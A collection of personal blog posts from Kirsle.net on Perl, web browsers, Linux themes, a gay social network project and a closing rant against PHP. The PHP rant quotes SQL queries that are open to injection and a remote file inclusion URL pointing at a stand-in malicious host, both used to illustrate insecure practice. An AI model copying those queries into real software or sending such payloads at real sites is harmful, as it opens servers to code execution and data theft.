Welcome to Kirsle.net!

I've upgraded the back-end Perl code that powers Kirsle.net.

It is now running on the same code that Siikir runs on. I did this for a few reasons:

• URLs look cleaner now. Instead of /blog.html?u=kirsle&id=114 you get nicer looking URLs like /blog/kirsle/kirsle-cms-upgrade.
• I want to partition off my blogging some more. I've had the "Channels" view where you can narrow posts by topic, but I want further partitioning: I'll have different usernames on kirsle.net, each with their own blogs. So, expect a user to pop up who will write about personal things that most of y'all probably don't care about anyway.
• The new code is more efficient than the old code.

It only took me a couple days to port the site over. I had to go and program in web blog support, and commenting support (for blog posts, photos and my guestbook page). This means that these features are also going to be coming to Siikir in the near future, once I harden them against dumb users first.

All the old links to old pages on kirsle.net will now automatically redirect to their new locations.

I'm typing this blog post from Internet Explorer 9 on Windows 7. Here is my brief review after using it for just 5 minutes on a couple of my websites.

Microsoft STILL doesn't get it!

It appears that IE 9 now, finally supports rounded borders via CSS (border-radius), and they finally support the box-shadow in CSS too (adding shadows or glows around a block-level element like a div). But know what they still don't support? text-shadow - adding shadows or glows to text.

So, Kirsle.net looks a bit nicer on IE 9--because the round borders on my site's panels works now. But the glowy effect I have behind my headers doesn't show up. How could Microsoft finally add box-shadow support but not add text-shadow?

Oh, and that border-radius support? It seems that it only works when all four corners have a radius. If you only want a radius on 1, 2 or 3 corners and leave the rest square, IE 9 won't play ball. All corners are square in this case.

This is far from the promise that "Internet Explorer 9 will be a modern HTML 5 capable browser just like all the other ones out there that don't suck."

Microsoft just needs to throw in the damn towel already. They are horrible at making web browsers. Give up already.

Just a random anecdote I thought of and felt like writing briefly about.

Sometimes, Perl code I work with exhibits signs of "quantum" behavior. By this I mean, in quantum physics, an electron behaves as both a wave and a particle, unless you actually look closely at it to see which one it chooses to behave as. In which case it behaves as a particle, which makes sense to everybody because an electron is a particle. See "Double Slit Experiment" for more on that.

At various different times in my software development career, a bug would pop up in the Perl code. Something is broken, the program gives wrong results or it crashes due to an error. Let's say the error is something that looks like,

Can't coerce array into hash at script.pl line 1337.

The obvious culprit here is that at line 1337, the variable it's trying to treat as an associative array (a hash) is instead a regular array. So first thing I would do here is find this line, and then add some "print" lines of code to see what type of data is in that variable. Aha, it's an array, now I have to trace it back in the code to find out at what point this data became an array.

Usually a problem like this occurs due to an oversight by one of the other developers. A developer trying to fix one bug might have assigned an array to this variable because it was convenient to solve their problem, and they didn't know at the time that the change has broken this code I'm working with now. So I go on debugging, adding print statements here and there to check what's inside every variable.

Once the problem is thoroughly diagnosed and I can see what's in every variable along the way, the bug just mysteriously vanishes. Every variable contains the data I would expect them to, the bug stops happening, and the only thing I changed in the code was just the simple adding of debug code. My code didn't modify the program in any tangible way, and yet the bug is gone.

So I have a WTF reaction, and remove all my debugging code. The bug is still "fixed." I check the svn diff to see the differences between my copy of the code and the last copy I checked out from Subversion. Nothing that would make a difference. I svn revert, turning my copy back to the original one, before I touched it at all. The bug is still gone!

So I blame the quantum perl fairy and call the bug resolved and it doesn't come back up again. Weird.

TL;DR - the QA people see a bug on their computers, file a bug report, the developer (me) sees the report, tests the bug to make sure it's there, begins debugging it only enough to diagnose the problem well enough that the next step would be to fix it, and the bug just fixes itself. The process of looking at the bug made the bug fix itself like some sort of black magic.

After my recent move back to my hometown, a guy I apparently used to chat with all the time several years ago found me on Grindr. I had no recollection of who this guy is, and the only person I could think of who shared a name with him was a member of one of my super old social networking sites.

Back when I was about 16 or 17 years old, I created a gay social networking site named RainbowBoi. I later rebranded it to XYBois before losing interest in it entirely, and now it's called Siikir. Anyway, I decided to dig up my old backups of this site to dig up the picture of the guy I think I'm talking to. It was him.

But poking around at the user profile data for the old sites, I got the idea to try dusting the code off and get it running again on my local web server... just for nostalgia's sake. Get the site up, dos2unix convert all its data files so that I can log into it, and just click around and see how the site used to be back in its day, back from 2005-06.

Throughout this blog post, all the small screenshot thumbnails can be clicked to view the full size.

(the homepage. click for bigger screenshot)

This version of the site was in the middle of being rebranded. The Perl source code that powers the site is also the same code I had written for my old AiChaos site, which you can see here on my archive subdomain. The code is ugly to look at, because I was relatively new to programming.

But newbie as I was, I was apparently quite ambitious. This site was very featureful: it had social networking features (including photo comments and private messaging and search and friend lists), it had helpful articles to read about coming out of the closet and topics like that, it had some public photo albums which were surely pretty popular, it had a "straight-acting" quiz. It even had a chat room, where I had programmed my own chat protocol, client program and server from scratch.

It even had used Image::Magick to scale the user photos down, and calculated ages based on birthdates, and syndicated RSS feeds for display on the site. I definitely knew my stuff back then, even if I didn't have a good coding style down yet.

I miss the days when I used to have this kind of free time on my hands. Whenever I dust off my old projects and play around with them, I keep seeing really ambitious ideas. The code may not be pretty, but it is featureful. I don't create anything nearly this cool nowadays. I just don't have the free time or the motivation to do it.

Maybe this is the consequence of doing what you love as a job. As a software developer, I spend all day long writing code to get paid and by the time I'm done, I don't feel like writing any more code for the day. And then on the weekends I just wanna relax and try to have a social life, or else just watch TV and play videogames.

/sigh

Here are 6 more screenshots of the old RainbowBoi/XYBois.

This is just a sort of review, or an organizing of thoughts, about the general state of the Perl modules available on CPAN.

I love Perl as a programming language. It's easy, fast enough for almost any application, and is often called the "swiss army chainsaw" of programming languages because it makes easy tasks easy and hard tasks possible. But, it doesn't excel very well in a couple of areas which I'll outline below, due to the state of neglect of some of its modules and ports.

Tk GUI Toolkit

The de facto module for the Tk framework for Perl is aptly named "Tk," as in:

use Tk;

This module is probably one of the most neglected modules on CPAN. It was a direct port from the Tcl/Tk that was current at the time that Perl/Tk was written. The result is that, when you run a Perl/Tk program on any platform other than Windows, it resembles an excruciatingly ugly Motif style application (see my screenshots of my Perl CyanChat Client for examples). Under Windows, though, a Perl/Tk app more or less fits in.

Because Perl/Tk was a direct port of a very old version of Tk, updating it to keep it modern has been a difficult task and so naturally nobody has done it. The only love Perl/Tk gets these days is maintenance work just to be sure it can still be compiled for modern versions of Perl.

So what can we do about this?

There are a couple other Tk implementations for Perl: Tkx by ActiveState and Tcl::Tk. These two modules are modern Tk implementations for Perl, and so they look very nice on every platform. But how usable are they?

Tkx is ActiveState's creation, and I've only been able to get it to work when using ActivePerl. This is fine for Windows, where ActivePerl is arguably the most popular Perl interpreter for Windows. But when I tried compiling Tkx for a stock Perl that ships with Fedora Linux, it gives segmentation faults and crashes. It's not usable under Linux with a stock version of Perl.

There's an ActivePerl for Linux, though, but the problem is that this Perl installation would be independent from the stock Perl that comes with your operating system. So if I needed to install another third party module to use with a ActivePerl/Tkx application, I wouldn't be able to run a simple "yum install perl-{module}" command to get it. I'd have to use ActivePerl's ppm tool, if it even had the module I want. Otherwise I need to compile the module myself for ActivePerl. Yuck. This isn't "the Linux way" of doing things. The package manager should be aware of everything that you install on your system.

ActivePerl/Tkx is out of the question for Linux then. What about Tcl::Tk? I've attempted to compile and use Tcl::Tk on a few different versions of Fedora Linux and every time they give me segmentation faults just like Tkx did. No good.

So Tk is one thing that Perl can't do very well due to lots of neglect. In contrast, the Tk ports for Python, Ruby and Tcl (of course) are much better maintained.

I know there are ports to GTK+, Wx and Qt for Perl as well, if you want to create a GUI. In my experience: Wx has a completely broken HTML widget in Perl and parts of the demo crash, GTK+ is neglected too, and I never got Qt to compile.

SDL

The Simple DirectMedia Library for Perl. This module is horribly neglected as well. Ideally, it could be used to be able to create 2D videogames using pure Perl, just like you would be able to make games in Python using the pygame library (which is the SDL port for Python).

The Perl SDL module is very "feature incomplete." The only notable thing anybody has made with Perl SDL was Frozen Bubble, and the developers of that had to hack up their code a lot to get around the limitations of the SDL module.

Perl for games? Sure, if you want to blow the dust off the SDL module and are ready to do a ton more hacking than you wanted to just to get it to work.

Most other languages have modern SDL ports. Pygame comes to mind as I mentioned before, which has a fairly active community of users actually creating games in Python.

GD Graphics Library

Ah, GD, the popular graphics library used by many PHP script kiddies the world over, for doing all sorts of image generation and modification tasks. A user uploaded their picture to your site, how do you scale it down to make thumbnails? GD. How do you stamp your own branding on the corner of their image? GD. How do you generate dynamic statistic images for users to embed in forum signatures? GD.

Perl's GD module though is in a pretty bad state of neglect. All it's good for in Perl is scaling images down (and even then it doesn't do very well; look at my photo album on kirsle.net; it can't seem to save a jpeg image with any good amount of quality. Every time it saves an image it comes out extremely grainy and it completely ignores any settings to make it not do this).

Generating an image from scratch? Maybe you can get it to work with enough effort, but good luck getting text to show up in any color besides black. Using a "template image" to generate a dynamic image off of? Good luck coming up with new colors to use that aren't in the template image. It's just a giant mess.

Image::Magick or Imager are better alternatives, at least. I started using Image::Magick on all my new web development projects, and the next iteration of kirsle.net's code will be using that to handle images instead of GD.

What is Perl good for?

Perl does well as a shell scripting language for system administrators, and it does well for web development. GD sucks for it, but it does have Image::Magick and Imager for dealing with photo manipulation for a web application.

It's also good, of course, for regular expressions and number crunching, which is what it was targeted towards in the first place.

It's not particularly strong at anything else though. Creating a graphical application? Good luck. Creating a game? Don't think about it. Use Python instead.

There are a ton of other modules on CPAN collecting dust that don't work anymore, or don't work particularly well. Net::YMSG for interacting with Yahoo Messenger? Completely broken. Net::AIM for AOL Instant Messenger? Not working (but Net::OSCAR still works as far as I last checked). Audio::Audiere? I don't know anybody who's managed to compile it.

Part of me hopes Perl 6 will be usable soon and I can start learning that (contrary to popular belief, Perl 6 is not the successor to Perl 5 but is a completely separate language), and that any new modules for Perl 6 will be modern (using modern Tk and SDL for example) and will be maintained well in the future, as the ports for Python and other languages are. But part of me just thinks I should put a lot more effort into making Python my new favorite language and using Perl only for the few tasks that Perl does well (like for shell scripting).

This is a rant about what I think about my fellow gays on gay social networking sites.

They're way too much drama.

It seems as though every single guy I meet on any such gay website, automatically seems to assume that I'm going to hookup with them, or date them or be with them forever and ever or something stupid like that. Never mind that I explicitly spelled out that I'm only after friends and chatting on the site in question.

And then they get all stupid and insecure about whether or not I'm interested in them. This happens all the time but here's the last example that really pissed me off.

This Brandon character I met from who-knows-what gay site, I had him on my Yahoo! buddy list and on Facebook. He IM's me on Yahoo saying, "so do you not want me to talk to you". I wonder for a second who this is, and check my chat logs, but this is a new computer and I have no prior chat logs. I say I don't remember him, and he tells me we're facebook friends, so I go check. Not remembering still I just reply, "I have no reason not to want to talk to you."

I then notice I had an older chat open with him from Facebook where, the conversation ended with him saying,

(08:35:56 PM) Brandon: not interested in me?
(08:38:45 PM) Brandon: guess not

Yeah, I forgot to reply within 3 minutes and he assumes an answer already. I had seen this earlier, thought it was bullshit (I hate when random strangers on the Internet already start getting this insecure on me), and just ignored it. But now I put two and two together and saw that this is who I'm chatting with now on Yahoo.

So I add, "but I do wanna say I'm not looking for a b/f or a hookup or anything, only friends, is that okay?" -- and he apparently got his ego bruised by this, and tries to attack me, and say "did i ask for any of that? /ok sorry / i wont talk to you anymore / dont assume people wanna hook up and marry you"

I didn't assume. I had his Facebook chat log from earlier in the day. I tell him what he said earlier and how it looks like he wanted to be more than friends, and I paste him the chat logs. He says nothing further, and just deletes me from Facebook.

This is the sort of stupid gay drama bullshit that I do not have time to put up with. Other examples of this is when some guy wants to meet me very quickly, and I reply back saying, "I need to get to know you first before I meet you." If their response to this is, "well what do you want to know?".... this is not the correct answer. That's NOT what I meant. And I'll quit talking to him at this point.

Another example is when a guy starts getting all insecure on me and says something stupid like, "I guess you're not into me, I'll just leave you alone then." Good. If you're gonna act like a little bitch, I didn't wanna talk to you in the first place.

The annoying part about all of this is how widespread it is. It seems that every single guy I chat with on any gay website behaves this way. I don't have the time to put up with this sort of stupid bullshit.

As for the subject of this blog post, it's a joke from the IRC room I've gone to since I was 12 as I was ranting about this exact thing.

[Kirsle] I don't have time for this kinda bullshit
[Kirsle] seriously
[Kirsle] any ONE guy from any site is so much high maintenance and stress
[Kirsle] tons of guys from tons of sites is just too damn much
[Admin_Todd] what kind of bullshit do you have time for?
[Kirsle] more serious bullshit Todd, not this stupid stuff :P
[Admin_Todd] oh ok
[MattB] lol
[Admin_Todd] Big Bro give Casey some really serious bullshit
* Big_Brother gives Casey some really serious bullshit :P
[Kirsle] :P
[MattB] haha

This is a rant about Linux themes, or rather, the complete newbies who mistakenly seem to think they know how to make themes, but instead all they make is utter garbage.

But surprisingly, I'm not going to direct my rant toward GTK+ themes. Everybody who's ever used Linux knows that 99% of the crap on gnome-look.org isn't worth using. I've very rarely used a GTK+ theme that correctly solves the problem of, "your panel background image tiles across the shutdown dialog so you can't read the text of the dialog," but I digress.

No, this is about XFCE window manager themes. Themes for XFWM4.

XFWM4's themes are quite simple, or at least if you're making a flat pixmap theme they are. All you need to do is have a folder full of XPM files with certain file names, and XFWM4 does the rest. It's easy! So why does everybody screw this up?

The window manager theme I wanted on XFCE most recently was Clearlooks. Yes, the standard Metacity theme that comes with every single GNOME based distribution ever. I wanted it on XFCE, but couldn't find a good version of an XFWM4 theme for it that didn't suck.

I found one that got kind of close. Clearlooks-Xfce-Colors, in fact. It looks good, except he made a mistake putting the theme together: the maximize/restore button behavior is broken. Apparently, he couldn't figure out how XFWM4 handles the "Restore" button on a maximized window. So, for the active focused window, the "Maximize/Restore" button will always use Maximize, and every inactive window will always use Restore instead.

So for the active window, there's NO way of telling whether it's maximized or not, because the button always shows the exact same icon. Same goes for inactive windows.

The official XFWM4 theme how-to explains how this works. You just need file names like "maximize-toggled-active.xpm" or "maximize-toggled-inactive.xpm". That's it. Now your "Restore" button works fine.

Another common problem I've seen. Take for example the Vista Basic theme here. It looks good in the screenshots, yes? That's because the title is centered.

When you uncenter the title, or even just have a narrow window open (my Pidgin buddy list for example), huge problems with the theme become apparent. If you left-align the title, there's a huge margin (in the realm of 60 pixels) on the left of the title. WTF? And on a narrow window like Pidgin's buddy list, the title will be completely devoured by the margins to the point you can't see the title anymore.

Why is this? XFWM4 themes have five different title images. Appropriately named "title-1-active.xpm" through "title-5-active.xpm". These 5 images make up the title. If title-1 is 60 pixels wide, it means your title will have a 60 pixel margin on the left. So, make your title images as thin as you possibly can (4 pixels is great) unless you explicitly have a need to do something fancy with your titles.

I have never once installed a third party XFWM4 theme that has been high enough quality. The usual procedure when I really want a certain style is: find one that's close, find out it fails super hard because the creator is a complete noob and didn't even bother to read the official documentation before making his theme, and then either try to hack it until it works OR just scrap it and create my own from scratch. And then re-release the theme back to xfce-look.org for others to use.

So, here are my better copies of various window manager themes for XFWM4:

• Clearlooks for XFWM4 (Clearlooks done right)
• Seven Basic (Vista Basic done right)
• Nimbus+ (OpenSolaris Nimbus theme for XFCE, done right)
• Zune theme (Windows XP's Zune theme done right)

End of rant. Now, about those GTK+ themes...

Update (Aug 5 2019): had lost interest in Siikir a long time ago, doesn't exist anymore. It never fails that when I have a deadline I tend to hurry up and get my work done long before I reach it... even when I set the deadline myself, and when it's not even important if it gets done on time!

Siikir.com has just been uploaded to my web server. I said I'd have it up by the new year, and I did. :) It's a gay social network site (see my previous post about it).

Now that it's up I'll mention some of the other features I came up with for it that I haven't seen other sites do, or do correctly.

"Self-moderating" photo system. It's annoying when a site makes you wait 24+ hours for an admin to come by and approve every pic you upload. So on Siikir, I came up with a better way: all public pics go live immediately!

If a user flags your pic as being inappropriate, then it goes into the "Pending Approval" mode and is temporarily taken down until an admin can look it over. If the admin judges that the pic is perfectly fine and not in violation of the rules, it goes back up, and cannot be flagged ever again by other users; it has the admin's blessing. If the picture is indeed in violation of the rules, the admin will have it deleted.

This whole system is full of statistics keeping though, if a user abuses the system and keeps on flagging pictures just to be a pest, the admin can see how many pics they've flagged and how many of those flags turned out to be false. Eventually in a future update I'll be building in a karma system, so that users who consistently upload good pics will require more flags before it goes into "pending approval" mode.

All free. SO annoying when sites ask for money to use some crucial and obvious feature, like replying to messages or seeing who thinks you're hot. Siikir will make its money in other ways, like Google Adsense or a "featured profile" feature to come.

This is just a blog post about my latest project that's still in development, where, among many other things, I'll be attempting to mitigate the "Grindr stalking" problem in my project.

First I should say what my project is. It's called Siikir (pronounced like "seeker"), and it's a gay social network website and mobile app. I'm creating it because I'm disappointed in all the currently existing things that it will be competing with; they all have features that annoy, or else a lack of features that is also annoying.

If any of y'all know me from when I was like 16, that's when I programmed a gay social network site from scratch that I called RainbowBoi; I abandoned it a year later from lack of interest, but the disappointing sites out there today have motivated me to try a second time.

I won't spoil the full list of features just yet, but one of the big ones is that "Grindr stalking" will be much more difficult (if not made impossible) to do with it, than it is on the iPhone app, Grindr.

Grindr is an iPhone app for gay guys where you can locate all the other gay guys near you. Its feature set is rather limited: one profile to a device, you can have one pic, a small set of profile details, you can send messages and pictures to other users and you can bookmark users. Sure, Siikir will be competing with this, but the competition will look like RiveScript vs. AIML; my feature set already surpasses Grindr. But this post isn't about that.

No, it's about Grindr's bookmark feature.

You can boot up Grindr, locate somebody you know (such as an ex boyfriend that you haven't quite gotten over yet), and... bookmark them. Don't send them a message, just bookmark them. This will place them at the very top of your list of guys, forever. And the poor victim has no idea that you've even bookmarked him.

And now you can just silently stalk him ad infinitum. He can't upload a new picture, change his profile or anything without you knowing about it. He can't delete Grindr and reinstall it, because Grindr ties a profile to a device and he'll still be bookmarked on his stalker's phone. He has to be lucky enough to find out what profile is the stalker's and block him to be free.

Siikir will prevent this sort of abuse.

On Siikir, when you locate a profile in a "public" place (like the search results page), the link to view their profile will be temporary (but share-able). The link in your browser URL won't look like "/users/kirsle", but rather something like "/users/hash.432ebc113ac1662=". The URL is encrypted, a random hash that will expire after 15 or 30 minutes or so.

Search result URLs are temporary, but are shareable; if you find somebody you wanna show your friend, you can paste that URL over MSN Messenger; but regardless the URL has been generated by the server and has an end-of-life already ticking down to zero. This URL can't be bookmarked in your web browser, for it won't be there anymore when you try to return to it.

The only way to get a permanent URL, then, is to make contact with the user. Siikir will have a bookmark system, but the user you bookmark will be notified that you have bookmarked them. Sending them a message and saying hello is just as fine. Either way, before you get a permanent link, the user has to also be aware of who you are.

The obvious loophole is that you only need to find somebody who already has the permanent link and just get it from him. Sure. That's why for the extra privacy-conscious individual, they can turn on an optional "Make my profile unlinkable" feature. This will make it so that, even on a user's bookmark or inbox page, the links to your profile (which would've been permanent links) are also temporary. Only, these links cannot be shared on MSN; they are temporary and tied to the session of the end user who sees the link. Search result links can continue to be shared though, but are, of course, still temporary.

I only have a couple key components of the site left to develop and it will go live with a public beta shortly. I plan to have it up and running by the new year. The Android app will follow quickly after the site goes up, followed later by an iPhone version (as soon as I work up the courage to wrestle Apple with their app store procedure).

...and you shouldn't either.

In short: PHP has a tendency to be vulnerable-as-a-default, the barrier to entry is so low that every noob who barely just learned HTML can already begin writing dangerous code, even the largest web apps in PHP have gaping security holes, and I consider PHP itself to be just an elaborate content management system more than a real programming language.

To break down each of those points:

The last time I made a solid effort to learn to code in PHP, I came to realize that the default php.ini on my system had some rather stupid options turned on by default. For instance, the include() method would be allowed to include PHP code from a remote URL beginning with "http://". It's things like this that make PHP insecure as a default. I now have learned to carefully prune through my php.ini before installing any PHP web apps on a new server just to make sure no stupid defaults are enabled that will leave my server vulnerable.

The barrier to entry is so low in PHP that people who have no business writing program code are given the tools to do so. A good friend of mine does freelance web security consulting and says that a very good majority of PHP-powered sites he's come across have been vulnerable to SQL injection, and attributes this to the fact that many PHP tutorial sites don't mention SQL injection when they get to the chapter about databases. They'll recommend that you just interpolate variables directly into your SQL queries.

Case in point: the very first result for Googling "php mysql tutorial" that isn't from php.net is this link: PHP/MySQL Tutorial - Part 1. When this tutorial gets to the insertion part, it recommends you just formulate a query like this:

SELECT * FROM contacts WHERE id='$id'

And this:

SELECT * FROM tablename WHERE fieldname LIKE '%$string%'

Coding practices like this will leave you a lot of pain to come in the future. I'm not a PHP tutorial site so I won't even bother to explain how to avoid SQL injection in PHP. I won't use any of your code on my server so your own stupidity will be your own downfall, and it won't be my problem.

As an example of a large PHP web app having gaping wide security holes, just read about how my server got hacked through phpMyAdmin. In short, there was a PHP script in the "setup" folder that ended with a .inc.php file extension (indicating it was meant to be included and not requested directly over HTTP), and it would execute system commands using data provided by the query string. I've ranted about how badly I hate PHP even more because of this on that blog post. And that in Perl, this sort of thing wouldn't even happen, because an included script would have to go out of its way to read the query string; it wouldn't just use the query string "by accident" like PHP scripts are apt to do.

Besides SQL injection being one of THE most popular attack vectors for anything written in PHP, but if I ever hear about a PHP exploit besides that it almost invariable is this: somebody fooled a PHP script into including a PHP source from a remote domain. Example:

Your site has URLs that look like this, http://example.com/?p=home And your "index.php" there will take "p=home" and include "home.php" to show you the home page. Okay, what about this then?

http://example.com/?p=http://malicious.com/pwned.php And your index.php includes pwned.php from that malicious looking URL and now a hacker can run literally any code they like on your server. I've witnessed sites being pwned by this more times than I can care to count, oftentimes because the php.ini was misconfigured as a default.

Moving on to the last point, I don't consider PHP to be a real programming language. It is more like a web framework, like Drupal or MovableType or Catalyst, that is packed full of tools specifically geared towards the web. PHP has thousands of built in functions for everything a web app could imagine needing to do, from MySQL to CGI. The web page "PHP in contast to Perl" sums up all of the problems with PHP's vast array of global functions. They're inconsistently named and many of them do extremely similar things.

Contrast that to Perl, where the core language only provides the functions you would expect from a real programming language, and to do anything "cool" you'll need to include modules which provide you with more functionality. PHP fans often say it's a good thing that PHP has MySQL support built right in, but then I point them to the functions mysql_escape_string and mysql_real_escape_string. What is with that? Was the first function not good enough, that somebody had to write a second one that escapes strings better? And they had to create a second function so they don't break existing code that relies on the behavior of the first?

In Perl, if I was using the DBI module for SQL, and I had a problem with the way that DBI escapes my strings, guess what I could do: I could write my own module that either inherits (and overrides) from DBI, or write a new module from scratch with an interface very similar to DBI, and use it in my code. My code could still be written the exact same way:

my $dbh = Kirsle::DBI->connect("...");
my $sth = $dbh->prepare("INSERT INTO users SET name=? AND password=?");
$sth->execute($username,$password);

Besides the "programming language" itself, just take a look inside php.ini. What's that, you ask? It's a global PHP configuration file. Yeah, that's right: the behavior of every PHP script on your entire server can be dictated by a single configuration script. Aren't config files supposed to be a part of, oh I don't know, applications? Content management systems? And not as part of a programming language itself?

On one hand this explains why a lot of free web hosts allow you to use PHP but not Perl; PHP can be neutered and have all of its potentially risky functionality taken away by carefully crafting your php.ini whereas Perl, being a REAL programming language, can't be controlled any more easily than a C binary can. But on the other hand, just look inside php.ini -- there's options in there for how PHP can send e-mails, and how it would connect to a database by default. It even breaks down the databases by type - MySQL, PostgreSQL, MSSQL, etc. Shouldn't database details be left up to the actual PHP code? Apparently not.

So there you have it. I'll never use PHP. It's not even a real programming language. Just a toolkit for rapidly getting a website up and running. What's another name for that? Oh, a Content Management System. Doesn't a PHP CMS sound redundant now? ;)